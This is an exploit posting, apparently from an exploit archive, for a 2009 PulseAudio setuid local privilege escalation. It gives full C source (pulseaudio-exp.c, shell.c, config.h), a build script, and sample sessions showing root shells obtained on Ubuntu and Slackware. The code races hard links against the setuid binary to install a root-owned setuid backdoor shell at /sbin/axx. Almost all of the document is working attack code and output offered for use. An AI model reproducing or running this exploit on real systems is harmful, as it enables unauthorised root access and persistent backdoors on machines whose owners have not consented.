PulseAudio setuid Local Privilege Escalation Vulnerability http://www.securityfocus.com/bid/35721 Credit for discovery of bug: Tavis Ormandy, Julien Tinnes and Yorick Koster --
Put files in /tmp/pulseaudio-exp (or change config.h). Must be on same fs as the pulseaudio binary.
Goes faster if you already have a pulseaudio running ? :p
Tested with success on Ubuntu 9.04 (x86-64) and slackware 12.2.0 (x86)
Ubuntu: ------------------------------------ $ ./c.sh $ ./pulseaudio-exp Please wait. [*] Seems we are uid = 0 and gid = 0 [*] mv /tmp/pulseaudio-exp/shell /sbin/axx [*] chown root.root /sbin/axx [*] chmod 4755 /sbin/axx Try: /sbin/axx /bin/sh $ /sbin/axx /bin/sh # id uid=0(root) gid=0(root) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(adm in),122(sambashare) # uname -a Linux ubuntu 2.6.28-13-generic #45-Ubuntu SMP Tue Jun 30 22:12:12 UTC 2009 x86_64 GNU/Linux ------------------------------------ Slackware ------------------------------------ $ ./c.sh $ ./pulseaudio-exp Please wait. [*] Seems we are uid = 0 and gid = 0 [*] mv /tmp/pulseaudio-exp/shell /sbin/axx [*] chown root.root /sbin/axx [*] chmod 4755 /sbin/axx Try: /sbin/axx /bin/sh $ /sbin/axx /bin/sh sh-3.1# id uid=0(root) gid=0(root) groups=17(audio),100(users),104(pulse-rt) sh-3.1# uname -a Linux slackware 2.6.27.7-smp #2 SMP Thu Nov 20 22:32:43 CST 2008 i686 Intel(R) Pentium(R) Dual CPU T3400 @ 2.16GHz GenuineIntel GNU/Linux ------------------------------------
download: http://milw0rm.com/sploits/2009-pulseaudio-exp.tar.gz
-----------------------------------c.sh-------------------------------------------
#/bin/sh gcc pulseaudio-exp.c -o pulseaudio-exp -Wall gcc shell.c -o shell -Wall strip shell pulseaudio-exp
-----------------------------------config.h-------------------------------------------
// take a wild guess #define VULNBIN "/usr/bin/pulseaudio"
// current dir must be on the same fs as VULNBIN. example /var/tmp/bull or /tmp/bull // without a final slash #define PATH "/tmp/pulseaudio-exp"
// where we will put shell axx #define PATHSHELL "/sbin/axx"
-----------------------------------shell.c-------------------------------------------
#include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sys/stat.h> #include "config.h"
int main (int argc, char **argv) {
char fnshell[1024];
if (geteuid() ==0) {
if (setuid(0)!=0) { printf("setuid failed\n"); return 0; } if (setgid(0)!=0) { printf("setgid failed\n"); return 0; }
if (argc > 1) { system(argv[1]); return 0; }
if (access(PATHSHELL,R_OK|X_OK)!=0) {
snprintf(fnshell,sizeof(fnshell),"%s/shell",PATH); printf("[*] Seems we are uid = %d and gid = %d\n",getuid(),getgid()); printf("[*] mv %s %s\n",fnshell,PATHSHELL); if (rename(fnshell, PATHSHELL)!=0) perror("rename"); printf("[*] chown root.root %s\n",PATHSHELL); if (chown(PATHSHELL,0,0)!=0) perror("chown"); printf("[*] chmod 4755 %s\n",PATHSHELL); if (chmod(PATHSHELL,04755)!=0) perror("chmod"); }
}
return 0; }
-----------------------------------pulseaudio-exp.c-------------------------------------------
#include <stdio.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/stat.h> #include <unistd.h> #include <stdlib.h> #include "config.h"
int main (int argc, char **argv) {
int x=0,status,w,pid,y=0; char linkfn[1024],linkfndeleted[1024],fnshell[1024]; struct stat ft;
snprintf(linkfn,sizeof(linkfn),"%s/p",PATH); snprintf(linkfndeleted,sizeof(linkfndeleted),"%s/p (deleted)",PATH); snprintf(fnshell,sizeof(fnshell),"%s/shell",PATH);
if (stat(PATHSHELL,&ft)==0) { if (ft.st_uid == 0) { printf("Try: %s /bin/sh\n",PATHSHELL); return 0; } }
if (stat(VULNBIN,&ft)!=0) { printf("%s not found.\n",VULNBIN); return 0; }
if (!(ft.st_mode & S_ISUID)) { printf("%s is not suid.\n",VULNBIN); return 0; } if (stat(fnshell,&ft)!=0) { printf("%s not found.\n",fnshell); return 0; } printf("Please wait.\n"); for (y=0; y < 5000; y++) {
unlink(linkfn); unlink(linkfndeleted);
if (link(VULNBIN,linkfn)!=0) { perror("link"); return -1; }
if (link(fnshell,linkfndeleted)!=0) { perror("link"); return -1; }
pid = fork();
if (pid == -1) { perror("fork"); return -1; } else if (pid == 0) { // exec { char *args[]={"p",NULL}; //char *envp[]={"LD_BIND_NOW=1",NULL}; char *envp[]={NULL}; close(2); execve(linkfn,args,envp); } return 0; } else { if (unlink(linkfn)!=0) { perror("unlink:::"); return -1; } if (link(fnshell,linkfn)!=0) { perror("link"); return 1; } for (;;) {
w = waitpid(pid, &status,WNOHANG); if (w == 0) { if (x > 1) { kill(pid,9); x=0; } usleep(5000); x++; continue; } if (w == -1) { perror("waitpid"); break; }
break;
}
if (stat(PATHSHELL,&ft)==0) {
if ((ft.st_uid == 0) && (ft.st_mode & S_ISUID)) { printf("Try: %s /bin/sh\n",PATHSHELL); unlink(linkfn); unlink(linkfndeleted); return 0; } }
}
}
printf("finished 5000 attempts without success. maybe not vulnerable?\n"); unlink(linkfn); unlink(linkfndeleted);
return 0; }
|